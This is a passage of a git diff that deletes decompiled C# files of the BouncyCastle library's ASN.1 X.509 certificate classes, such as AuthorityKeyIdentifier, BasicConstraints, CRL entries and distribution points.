Asn1Sequence) - { - return new AttributeX509((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - private AttributeX509(Asn1Sequence seq) - { - if (seq.Count != 2) - { - throw new ArgumentException("Bad sequence size: " + seq.Count); - } - attrType = DerObjectIdentifier.GetInstance(seq[0]); - attrValues = Asn1Set.GetInstance(seq[1]); - } - - public AttributeX509(DerObjectIdentifier attrType, Asn1Set attrValues) - { - this.attrType = attrType; - this.attrValues = attrValues; - } - - public Asn1Encodable[] GetAttributeValues() - { - return attrValues.ToArray(); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(attrType, attrValues); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/AuthorityInformationAccess.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/AuthorityInformationAccess.cs deleted file mode 100644 index 6f214c0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/AuthorityInformationAccess.cs +++ /dev/null @@ -1,72 +0,0 @@ -using System; -using System.Text; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509; - -public class AuthorityInformationAccess : Asn1Encodable -{ - private readonly AccessDescription[] descriptions; - - public static AuthorityInformationAccess GetInstance(object obj) - { - if (obj is AuthorityInformationAccess) - { - return (AuthorityInformationAccess)obj; - } - if (obj == null) - { - return null; - } - return new AuthorityInformationAccess(Asn1Sequence.GetInstance(obj)); - } - - private AuthorityInformationAccess(Asn1Sequence seq) - { - if (seq.Count < 1) - { - throw new ArgumentException("sequence may not be empty"); - } - descriptions = new AccessDescription[seq.Count]; - for (int i = 0; i < seq.Count; i++) - { - descriptions[i] = AccessDescription.GetInstance(seq[i]); - } - } - - public AuthorityInformationAccess(AccessDescription description) - { - descriptions = new AccessDescription[1] { description }; - } - - public AuthorityInformationAccess(DerObjectIdentifier oid, GeneralName location) - : this(new AccessDescription(oid, location)) - { - } - - public AccessDescription[] GetAccessDescriptions() - { - return (AccessDescription[])descriptions.Clone(); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(descriptions); - } - - public override string ToString() - { - StringBuilder stringBuilder = new StringBuilder(); - string newLine = Platform.NewLine; - stringBuilder.Append("AuthorityInformationAccess:"); - stringBuilder.Append(newLine); - AccessDescription[] array = descriptions; - foreach (AccessDescription value in array) - { - stringBuilder.Append(" "); - stringBuilder.Append(value); - stringBuilder.Append(newLine); - } - return stringBuilder.ToString(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/AuthorityKeyIdentifier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/AuthorityKeyIdentifier.cs deleted file mode 100644 index e9eb897..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/AuthorityKeyIdentifier.cs +++ /dev/null @@ -1,148 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Digests; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509; - -public class AuthorityKeyIdentifier : Asn1Encodable -{ - internal readonly Asn1OctetString keyidentifier; - - internal readonly GeneralNames certissuer; - - internal readonly DerInteger certserno; - - public GeneralNames AuthorityCertIssuer => certissuer; - - public BigInteger AuthorityCertSerialNumber - { - get - { - if (certserno != null) - { - return certserno.Value; - } - return null; - } - } - - public static AuthorityKeyIdentifier GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static AuthorityKeyIdentifier GetInstance(object obj) - { - if (obj is AuthorityKeyIdentifier) - { - return (AuthorityKeyIdentifier)obj; - } - if (obj is Asn1Sequence) - { - return new AuthorityKeyIdentifier((Asn1Sequence)obj); - } - if (obj is X509Extension) - { - return GetInstance(X509Extension.ConvertValueToObject((X509Extension)obj)); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - protected internal AuthorityKeyIdentifier(Asn1Sequence seq) - { - foreach (Asn1TaggedObject item in seq) - { - switch (item.TagNo) - { - case 0: - keyidentifier = Asn1OctetString.GetInstance(item, isExplicit: false); - break; - case 1: - certissuer = GeneralNames.GetInstance(item, explicitly: false); - break; - case 2: - certserno = DerInteger.GetInstance(item, isExplicit: false); - break; - default: - throw new ArgumentException("illegal tag"); - } - } - } - - public AuthorityKeyIdentifier(SubjectPublicKeyInfo spki) - { - IDigest digest = new Sha1Digest(); - byte[] array = new byte[digest.GetDigestSize()]; - byte[] bytes = spki.PublicKeyData.GetBytes(); - digest.BlockUpdate(bytes, 0, bytes.Length); - digest.DoFinal(array, 0); - keyidentifier = new DerOctetString(array); - } - - public AuthorityKeyIdentifier(SubjectPublicKeyInfo spki, GeneralNames name, BigInteger serialNumber) - { - IDigest digest = new Sha1Digest(); - byte[] array = new byte[digest.GetDigestSize()]; - byte[] bytes = spki.PublicKeyData.GetBytes(); - digest.BlockUpdate(bytes, 0, bytes.Length); - digest.DoFinal(array, 0); - keyidentifier = new DerOctetString(array); - certissuer = name; - certserno = new DerInteger(serialNumber); - } - - public AuthorityKeyIdentifier(GeneralNames name, BigInteger serialNumber) - { - keyidentifier = null; - certissuer = GeneralNames.GetInstance(name.ToAsn1Object()); - certserno = new DerInteger(serialNumber); - } - - public AuthorityKeyIdentifier(byte[] keyIdentifier) - { - keyidentifier = new DerOctetString(keyIdentifier); - certissuer = null; - certserno = null; - } - - public AuthorityKeyIdentifier(byte[] keyIdentifier, GeneralNames name, BigInteger serialNumber) - { - keyidentifier = new DerOctetString(keyIdentifier); - certissuer = GeneralNames.GetInstance(name.ToAsn1Object()); - certserno = new DerInteger(serialNumber); - } - - public byte[] GetKeyIdentifier() - { - if (keyidentifier != null) - { - return keyidentifier.GetOctets(); - } - return null; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (keyidentifier != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 0, keyidentifier)); - } - if (certissuer != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 1, certissuer)); - } - if (certserno != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 2, certserno)); - } - return new DerSequence(asn1EncodableVector); - } - - public override string ToString() - { - return string.Concat("AuthorityKeyIdentifier: KeyID(", keyidentifier.GetOctets(), ")"); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/BasicConstraints.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/BasicConstraints.cs deleted file mode 100644 index 26cd179..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/BasicConstraints.cs +++ /dev/null @@ -1,116 +0,0 @@ -using System; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509; - -public class BasicConstraints : Asn1Encodable -{ - private readonly DerBoolean cA; - - private readonly DerInteger pathLenConstraint; - - public BigInteger PathLenConstraint - { - get - { - if (pathLenConstraint != null) - { - return pathLenConstraint.Value; - } - return null; - } - } - - public static BasicConstraints GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static BasicConstraints GetInstance(object obj) - { - if (obj == null || obj is BasicConstraints) - { - return (BasicConstraints)obj; - } - if (obj is Asn1Sequence) - { - return new BasicConstraints((Asn1Sequence)obj); - } - if (obj is X509Extension) - { - return GetInstance(X509Extension.ConvertValueToObject((X509Extension)obj)); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - private BasicConstraints(Asn1Sequence seq) - { - if (seq.Count <= 0) - { - return; - } - if (seq[0] is DerBoolean) - { - cA = DerBoolean.GetInstance(seq[0]); - } - else - { - pathLenConstraint = DerInteger.GetInstance(seq[0]); - } - if (seq.Count > 1) - { - if (cA == null) - { - throw new ArgumentException("wrong sequence in constructor", "seq"); - } - pathLenConstraint = DerInteger.GetInstance(seq[1]); - } - } - - public BasicConstraints(bool cA) - { - if (cA) - { - this.cA = DerBoolean.True; - } - } - - public BasicConstraints(int pathLenConstraint) - { - cA = DerBoolean.True; - this.pathLenConstraint = new DerInteger(pathLenConstraint); - } - - public bool IsCA() - { - if (cA != null) - { - return cA.IsTrue; - } - return false; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (cA != null) - { - asn1EncodableVector.Add(cA); - } - if (pathLenConstraint != null) - { - asn1EncodableVector.Add(pathLenConstraint); - } - return new DerSequence(asn1EncodableVector); - } - - public override string ToString() - { - if (pathLenConstraint == null) - { - return "BasicConstraints: isCa(" + IsCA() + ")"; - } - return "BasicConstraints: isCa(" + IsCA() + "), pathLenConstraint = " + pathLenConstraint.Value; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/CertPolicyID.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/CertPolicyID.cs deleted file mode 100644 index 0fb901b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/CertPolicyID.cs +++ /dev/null @@ -1,9 +0,0 @@ -namespace Org.BouncyCastle.Asn1.X509; - -public class CertPolicyID : DerObjectIdentifier -{ - public CertPolicyID(string id) - : base(id) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/CertificateList.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/CertificateList.cs deleted file mode 100644 index db73d46..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/CertificateList.cs +++ /dev/null @@ -1,76 +0,0 @@ -using System; -using System.Collections; - -namespace Org.BouncyCastle.Asn1.X509; - -public class CertificateList : Asn1Encodable -{ - private readonly TbsCertificateList tbsCertList; - - private readonly AlgorithmIdentifier sigAlgID; - - private readonly DerBitString sig; - - public TbsCertificateList TbsCertList => tbsCertList; - - public AlgorithmIdentifier SignatureAlgorithm => sigAlgID; - - public DerBitString Signature => sig; - - public int Version => tbsCertList.Version; - - public X509Name Issuer => tbsCertList.Issuer; - - public Time ThisUpdate => tbsCertList.ThisUpdate; - - public Time NextUpdate => tbsCertList.NextUpdate; - - public static CertificateList GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static CertificateList GetInstance(object obj) - { - if (obj is CertificateList) - { - return (CertificateList)obj; - } - if (obj != null) - { - return new CertificateList(Asn1Sequence.GetInstance(obj)); - } - return null; - } - - private CertificateList(Asn1Sequence seq) - { - if (seq.Count != 3) - { - throw new ArgumentException("sequence wrong size for CertificateList", "seq"); - } - tbsCertList = TbsCertificateList.GetInstance(seq[0]); - sigAlgID = AlgorithmIdentifier.GetInstance(seq[1]); - sig = DerBitString.GetInstance(seq[2]); - } - - public CrlEntry[] GetRevokedCertificates() - { - return tbsCertList.GetRevokedCertificates(); - } - - public IEnumerable GetRevokedCertificateEnumeration() - { - return tbsCertList.GetRevokedCertificateEnumeration(); - } - - public byte[] GetSignatureOctets() - { - return sig.GetOctets(); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(tbsCertList, sigAlgID, sig); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/CertificatePair.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/CertificatePair.cs deleted file mode 100644 index 2b660c8..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/CertificatePair.cs +++ /dev/null @@ -1,71 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509; - -public class CertificatePair : Asn1Encodable -{ - private X509CertificateStructure forward; - - private X509CertificateStructure reverse; - - public X509CertificateStructure Forward => forward; - - public X509CertificateStructure Reverse => reverse; - - public static CertificatePair GetInstance(object obj) - { - if (obj == null || obj is CertificatePair) - { - return (CertificatePair)obj; - } - if (obj is Asn1Sequence) - { - return new CertificatePair((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - private CertificatePair(Asn1Sequence seq) - { - if (seq.Count != 1 && seq.Count != 2) - { - throw new ArgumentException("Bad sequence size: " + seq.Count, "seq"); - } - foreach (object item in seq) - { - Asn1TaggedObject instance = Asn1TaggedObject.GetInstance(item); - if (instance.TagNo == 0) - { - forward = X509CertificateStructure.GetInstance(instance, explicitly: true); - continue; - } - if (instance.TagNo == 1) - { - reverse = X509CertificateStructure.GetInstance(instance, explicitly: true); - continue; - } - throw new ArgumentException("Bad tag number: " + instance.TagNo); - } - } - - public CertificatePair(X509CertificateStructure forward, X509CertificateStructure reverse) - { - this.forward = forward; - this.reverse = reverse; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (forward != null) - { - asn1EncodableVector.Add(new DerTaggedObject(0, forward)); - } - if (reverse != null) - { - asn1EncodableVector.Add(new DerTaggedObject(1, reverse)); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/CertificatePolicies.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/CertificatePolicies.cs deleted file mode 100644 index 579160d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/CertificatePolicies.cs +++ /dev/null @@ -1,67 +0,0 @@ -using System.Text; - -namespace Org.BouncyCastle.Asn1.X509; - -public class CertificatePolicies : Asn1Encodable -{ - private readonly PolicyInformation[] policyInformation; - - public static CertificatePolicies GetInstance(object obj) - { - if (obj == null || obj is CertificatePolicies) - { - return (CertificatePolicies)obj; - } - return new CertificatePolicies(Asn1Sequence.GetInstance(obj)); - } - - public static CertificatePolicies GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - return GetInstance(Asn1Sequence.GetInstance(obj, isExplicit)); - } - - public CertificatePolicies(PolicyInformation name) - { - policyInformation = new PolicyInformation[1] { name }; - } - - public CertificatePolicies(PolicyInformation[] policyInformation) - { - this.policyInformation = policyInformation; - } - - private CertificatePolicies(Asn1Sequence seq) - { - policyInformation = new PolicyInformation[seq.Count]; - for (int i = 0; i < seq.Count; i++) - { - policyInformation[i] = PolicyInformation.GetInstance(seq[i]); - } - } - - public virtual PolicyInformation[] GetPolicyInformation() - { - return (PolicyInformation[])policyInformation.Clone(); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(policyInformation); - } - - public override string ToString() - { - StringBuilder stringBuilder = new StringBuilder("CertificatePolicies:"); - if (policyInformation != null && policyInformation.Length > 0) - { - stringBuilder.Append(' '); - stringBuilder.Append(policyInformation[0]); - for (int i = 1; i < policyInformation.Length; i++) - { - stringBuilder.Append(", "); - stringBuilder.Append(policyInformation[i]); - } - } - return stringBuilder.ToString(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/CrlDistPoint.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/CrlDistPoint.cs deleted file mode 100644 index 687826d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/CrlDistPoint.cs +++ /dev/null @@ -1,69 +0,0 @@ -using System; -using System.Text; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509; - -public class CrlDistPoint : Asn1Encodable -{ - internal readonly Asn1Sequence seq; - - public static CrlDistPoint GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static CrlDistPoint GetInstance(object obj) - { - if (obj is CrlDistPoint || obj == null) - { - return (CrlDistPoint)obj; - } - if (obj is Asn1Sequence) - { - return new CrlDistPoint((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - private CrlDistPoint(Asn1Sequence seq) - { - this.seq = seq; - } - - public CrlDistPoint(DistributionPoint[] points) - { - seq = new DerSequence(points); - } - - public DistributionPoint[] GetDistributionPoints() - { - DistributionPoint[] array = new DistributionPoint[seq.Count]; - for (int i = 0; i != seq.Count; i++) - { - array[i] = DistributionPoint.GetInstance(seq[i]); - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - return seq; - } - - public override string ToString() - { - StringBuilder stringBuilder = new StringBuilder(); - string newLine = Platform.NewLine; - stringBuilder.Append("CRLDistPoint:"); - stringBuilder.Append(newLine); - DistributionPoint[] distributionPoints = GetDistributionPoints(); - for (int i = 0; i != distributionPoints.Length; i++) - { - stringBuilder.Append(" "); - stringBuilder.Append(distributionPoints[i]); - stringBuilder.Append(newLine); - } - return stringBuilder.ToString(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/CrlEntry.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/CrlEntry.cs deleted file mode 100644 index e670298..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/CrlEntry.cs +++ /dev/null @@ -1,46 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Asn1.X509; - -public class CrlEntry : Asn1Encodable -{ - internal Asn1Sequence seq; - - internal DerInteger userCertificate; - - internal Time revocationDate; - - internal X509Extensions crlEntryExtensions; - - public DerInteger UserCertificate => userCertificate; - - public Time RevocationDate => revocationDate; - - public X509Extensions Extensions - { - get - { - if (crlEntryExtensions == null && seq.Count == 3) - { - crlEntryExtensions = X509Extensions.GetInstance(seq[2]); - } - return crlEntryExtensions; - } - } - - public CrlEntry(Asn1Sequence seq) - { - if (seq.Count < 2 || seq.Count > 3) - { - throw new ArgumentException("Bad sequence size: " + seq.Count); - } - this.seq = seq; - userCertificate = DerInteger.GetInstance(seq[0]); - revocationDate = Time.GetInstance(seq[1]); - } - - public override Asn1Object ToAsn1Object() - { - return seq; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/CrlNumber.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/CrlNumber.cs deleted file mode 100644 index 75102b4..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/CrlNumber.cs +++ /dev/null @@ -1,18 +0,0 @@ -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Asn1.X509; - -public class CrlNumber : DerInteger -{ - public BigInteger Number => base.PositiveValue; - - public CrlNumber(BigInteger number) - : base(number) - { - } - - public override string ToString() - { - return "CRLNumber: " + Number; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/CrlReason.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/CrlReason.cs deleted file mode 100644 index 9a344dc..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/CrlReason.cs +++ /dev/null @@ -1,47 +0,0 @@ -namespace Org.BouncyCastle.Asn1.X509; - -public class CrlReason : DerEnumerated -{ - public const int Unspecified = 0; - - public const int KeyCompromise = 1; - - public const int CACompromise = 2; - - public const int AffiliationChanged = 3; - - public const int Superseded = 4; - - public const int CessationOfOperation = 5; - - public const int CertificateHold = 6; - - public const int RemoveFromCrl = 8; - - public const int PrivilegeWithdrawn = 9; - - public const int AACompromise = 10; - - private static readonly string[] ReasonString = new string[11] - { - "Unspecified", "KeyCompromise", "CACompromise", "AffiliationChanged", "Superseded", "CessationOfOperation", "CertificateHold", "Unknown", "RemoveFromCrl", "PrivilegeWithdrawn", - "AACompromise" - }; - - public CrlReason(int reason) - : base(reason) - { - } - - public CrlReason(DerEnumerated reason) - : base(reason.Value.IntValue) - { - } - - public override string ToString() - { - int intValue = base.Value.IntValue; - string text = ((intValue < 0 || intValue > 10) ? "Invalid" : ReasonString[intValue]); - return "CrlReason: " + text; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/DigestInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/DigestInfo.cs deleted file mode 100644 index 8d0d9cb..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/DigestInfo.cs +++ /dev/null @@ -1,57 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509; - -public class DigestInfo : Asn1Encodable -{ - private readonly byte[] digest; - - private readonly AlgorithmIdentifier algID; - - public AlgorithmIdentifier AlgorithmID => algID; - - public static DigestInfo GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static DigestInfo GetInstance(object obj) - { - if (obj is DigestInfo) - { - return (DigestInfo)obj; - } - if (obj is Asn1Sequence) - { - return new DigestInfo((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public DigestInfo(AlgorithmIdentifier algID, byte[] digest) - { - this.digest = digest; - this.algID = algID; - } - - private DigestInfo(Asn1Sequence seq) - { - if (seq.Count != 2) - { - throw new ArgumentException("Wrong number of elements in sequence", "seq"); - } - algID = AlgorithmIdentifier.GetInstance(seq[0]); - digest = Asn1OctetString.GetInstance(seq[1]).GetOctets(); - } - - public byte[] GetDigest() - { - return digest; - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(algID, new DerOctetString(digest)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/DisplayText.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/DisplayText.cs deleted file mode 100644 index 964a7ee..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/DisplayText.cs +++ /dev/null @@ -1,86 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509; - -public class DisplayText : Asn1Encodable, IAsn1Choice -{ - public const int ContentTypeIA5String = 0; - - public const int ContentTypeBmpString = 1; - - public const int ContentTypeUtf8String = 2; - - public const int ContentTypeVisibleString = 3; - - public const int DisplayTextMaximumSize = 200; - - internal readonly int contentType; - - internal readonly IAsn1String contents; - - public DisplayText(int type, string text) - { - if (text.Length > 200) - { - text = text.Substring(0, 200); - } - contentType = type; - switch (type) - { - case 0: - contents = new DerIA5String(text); - break; - case 2: - contents = new DerUtf8String(text); - break; - case 3: - contents = new DerVisibleString(text); - break; - case 1: - contents = new DerBmpString(text); - break; - default: - contents = new DerUtf8String(text); - break; - } - } - - public DisplayText(string text) - { - if (text.Length > 200) - { - text = text.Substring(0, 200); - } - contentType = 2; - contents = new DerUtf8String(text); - } - - public DisplayText(IAsn1String contents) - { - this.contents = contents; - } - - public static DisplayText GetInstance(object obj) - { - if (obj is IAsn1String) - { - return new DisplayText((IAsn1String)obj); - } - if (obj is DisplayText) - { - return (DisplayText)obj; - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public override Asn1Object ToAsn1Object() - { - return (Asn1Object)contents; - } - - public string GetString() - { - return contents.GetString(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/DistributionPoint.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/DistributionPoint.cs deleted file mode 100644 index 6c49322..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/DistributionPoint.cs +++ /dev/null @@ -1,119 +0,0 @@ -using System; -using System.Text; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509; - -public class DistributionPoint : Asn1Encodable -{ - internal readonly DistributionPointName distributionPoint; - - internal readonly ReasonFlags reasons; - - internal readonly GeneralNames cRLIssuer; - - public DistributionPointName DistributionPointName => distributionPoint; - - public ReasonFlags Reasons => reasons; - - public GeneralNames CrlIssuer => cRLIssuer; - - public static DistributionPoint GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static DistributionPoint GetInstance(object obj) - { - if (obj == null || obj is DistributionPoint) - { - return (DistributionPoint)obj; - } - if (obj is Asn1Sequence) - { - return new DistributionPoint((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid DistributionPoint: " + Platform.GetTypeName(obj)); - } - - private DistributionPoint(Asn1Sequence seq) - { - for (int i = 0; i != seq.Count; i++) - { - Asn1TaggedObject instance = Asn1TaggedObject.GetInstance(seq[i]); - switch (instance.TagNo) - { - case 0: - distributionPoint = DistributionPointName.GetInstance(instance, explicitly: true); - break; - case 1: - reasons = new ReasonFlags(DerBitString.GetInstance(instance, isExplicit: false)); - break; - case 2: - cRLIssuer = GeneralNames.GetInstance(instance, explicitly: false); - break; - } - } - } - - public DistributionPoint(DistributionPointName distributionPointName, ReasonFlags reasons, GeneralNames crlIssuer) - { - distributionPoint = distributionPointName; - this.reasons = reasons; - cRLIssuer = crlIssuer; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (distributionPoint != null) - { - asn1EncodableVector.Add(new DerTaggedObject(0, distributionPoint)); - } - if (reasons != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 1, reasons)); - } - if (cRLIssuer != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 2, cRLIssuer)); - } - return new DerSequence(asn1EncodableVector); - } - - public override string ToString() - { - string newLine = Platform.NewLine; - StringBuilder stringBuilder = new StringBuilder(); - stringBuilder.Append("DistributionPoint: ["); - stringBuilder.Append(newLine); - if (distributionPoint != null) - { - appendObject(stringBuilder, newLine, "distributionPoint", distributionPoint.ToString()); - } - if (reasons != null) - { - appendObject(stringBuilder, newLine, "reasons", reasons.ToString()); - } - if (cRLIssuer != null) - { - appendObject(stringBuilder, newLine, "cRLIssuer", cRLIssuer.ToString()); - } - stringBuilder.Append("]"); - stringBuilder.Append(newLine); - return stringBuilder.ToString(); - } - - private void appendObject(StringBuilder buf, string sep, string name, string val) - { - string value = " "; - buf.Append(value); - buf.Append(name); - buf.Append(":"); - buf.Append(sep); - buf.Append(value); - buf.Append(value); - buf.Append(val); - buf.Append(sep); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/DistributionPointName.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/DistributionPointName.cs deleted file mode 100644 index fe700dd..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/DistributionPointName.cs +++ /dev/null @@ -1,99 +0,0 @@ -using System; -using System.Text; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509; - -public class DistributionPointName : Asn1Encodable, IAsn1Choice -{ - public const int FullName = 0; - - public const int NameRelativeToCrlIssuer = 1; - - internal readonly Asn1Encodable name; - - internal readonly int type; - - public int PointType => type; - - public Asn1Encodable Name => name; - - public static DistributionPointName GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1TaggedObject.GetInstance(obj, explicitly: true)); - } - - public static DistributionPointName GetInstance(object obj) - { - if (obj == null || obj is DistributionPointName) - { - return (DistributionPointName)obj; - } - if (obj is Asn1TaggedObject) - { - return new DistributionPointName((Asn1TaggedObject)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public DistributionPointName(int type, Asn1Encodable name) - { - this.type = type; - this.name = name; - } - - public DistributionPointName(GeneralNames name) - : this(0, name) - { - } - - public DistributionPointName(Asn1TaggedObject obj) - { - type = obj.TagNo; - if (type == 0) - { - name = GeneralNames.GetInstance(obj, explicitly: false); - } - else - { - name = Asn1Set.GetInstance(obj, explicitly: false); - } - } - - public override Asn1Object ToAsn1Object() - { - return new DerTaggedObject(explicitly: false, type, name); - } - - public override string ToString() - { - string newLine = Platform.NewLine; - StringBuilder stringBuilder = new StringBuilder(); - stringBuilder.Append("DistributionPointName: ["); - stringBuilder.Append(newLine); - if (type == 0) - { - appendObject(stringBuilder, newLine, "fullName", name.ToString()); - } - else - { - appendObject(stringBuilder, newLine, "nameRelativeToCRLIssuer", name.ToString()); - } - stringBuilder.Append("]"); - stringBuilder.Append(newLine); - return stringBuilder.ToString(); - } - - private void appendObject(StringBuilder buf, string sep, string name, string val) - { - string value = " "; - buf.Append(value); - buf.Append(name); - buf.Append(":"); - buf.Append(sep); - buf.Append(value); - buf.Append(value); - buf.Append(val); - buf.Append(sep); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/DsaParameter.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/DsaParameter.cs deleted file mode 100644 index 78dc78d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/DsaParameter.cs +++ /dev/null @@ -1,61 +0,0 @@ -using System; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509; - -public class DsaParameter : Asn1Encodable -{ - internal readonly DerInteger p; - - internal readonly DerInteger q; - 